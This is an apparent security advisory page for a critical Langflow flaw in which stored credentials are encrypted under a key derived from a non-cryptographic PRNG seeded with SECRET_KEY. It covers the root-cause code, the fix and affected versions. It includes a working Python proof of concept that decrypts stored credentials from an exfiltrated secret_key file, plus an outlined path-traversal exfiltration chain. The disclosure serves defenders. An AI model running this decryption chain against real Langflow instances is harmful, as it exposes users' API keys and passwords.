Critical

Langflow: Weak Fernet Key via random.seed()

  • Disclosed: 05.10.2026
  • Updated: 15.10.2026 18:17

Summary

Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.

Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.

Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data

Details

Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663

python
MINIMUM_KEY_LENGTH = 32

def _ensure_valid_key(self, raw_key: str) -> bytes:
    if len(raw_key) < MINIMUM_KEY_LENGTH:
        random.seed(raw_key)                                   # Non-cryptographic PRNG seeded with the secret
        key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
        key = base64.urlsafe_b64encode(key)
    else:
        key = self._add_padding(raw_key).encode()              # Raw secret IS the Fernet key
    return key

def _get_fernet(self) -> Fernet:
    secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
    valid_key = self._ensure_valid_key(secret_key)
    return Fernet(valid_key)

The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).

What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:

python
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value

Why this is critical in combination with the MCP path traversal: The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:

  • If len(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantly
  • If len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly

No brute force needed in either case once the file is read.

PoC

python
#!/usr/bin/env python3
# Requires: pip install cryptography

import random
import base64
from cryptography.fernet import Fernet

# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
    random.seed(secret_key)
    key_bytes = bytes(random.getrandbits(8) for _ in range(32))
    fernet_key = base64.urlsafe_b64encode(key_bytes)
    return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()

# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
    padding_needed = 4 - len(secret_key) % 4
    padded = secret_key + "=" * padding_needed
    return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()

# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db
SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E"  # 43 chars → long branch
CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M="

plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)
print(f"Decrypted credential: {plaintext}")
# Output: sk-test-SENTINEL-VALUE-12345

Confirmed on Langflow v1.7.3:

  • Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
  • Two Credential-type variables found in the variable table
  • Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345"
  • The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secret_key

End-to-end chain (with MCP path traversal):

bash
# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)
# Step 2: Query DB credentials via path traversal (SQLite file readable)
# Step 3: Decrypt offline — zero brute force, instant
python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT"
# → all stored API keys revealed

Impact

All stored user credentials are at risk in any Langflow deployment where an attacker can read the secret_key file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:

  • OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable
  • Database connection strings and passwords stored as credentials are exposed
  • OAuth tokens and webhook secrets stored via the Variables UI are exposed
  • All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide SECRET_KEY

In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.

Fix

Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).

ensure_fernet_key() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRET_KEY values. The 32-byte key is now derived deterministically with SHA-256:

python
def ensure_fernet_key(secret_key: str) -> bytes:
    if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH:
        digest = hashlib.sha256(secret_key.encode()).digest()  # 32 bytes
        key = base64.urlsafe_b64encode(digest)
    else:
        key = add_base64_padding(secret_key).encode()
    return key

Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via get_fernet_for_decryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secret_key) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.

Affected versions: <= 1.10.0 Patched version: 1.10.1

Operator note: deployments running with a SECRET_KEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRET_KEY (secrets.token_urlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) langflow < 1.10.1 1.10.1

References

CVSS score 9.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-228
Platform
Python (PyPI)
Package
langflow
Disclosed
05.10.2026
Updated
15.10.2026 18:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-4235 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-jxw3-mjmx-3pqm - CC BY 4.0

Vulnerability history: langflow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (42) in the archive
Total entries
42
First → latest
06.2024 10.2026
Without a fix
7
Exploited in attacks
5

Severity breakdown

  • Critical 15
  • High 17
  • Medium 7
  • Low 3

Disclosures per year

  1. 2024: 4
  2. 2025: 5
  3. 2026: 33
Severity:
  1. Langflow: Weak Fernet Key via random.seed() this entry
    Critical · 9.1 CVE-2026-9205 < 1.10.1 1.10.1
  2. Critical · 9.8 CVE-2026-8505 >= 1.7.0, < 1.9.1 1.9.1
  3. High · 8.8 CVE-2026-7700 >= 1.3.0, < 1.10.3 1.10.3
  4. Critical · 9.6 CVE-2026-48519 < 1.9.2 1.9.2
  5. Critical · 9.6 CVE-2026-42048 < 1.9.0 1.9.0
  6. High · 7.5 CVE-2026-33484 >= 1.0.0, < 1.9.0 1.9.0
  7. Critical · 9.9 CVE-2026-33309 >= 1.2.0, < 1.9.0 1.9.0
Show more (12) Showing 20 of 32

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.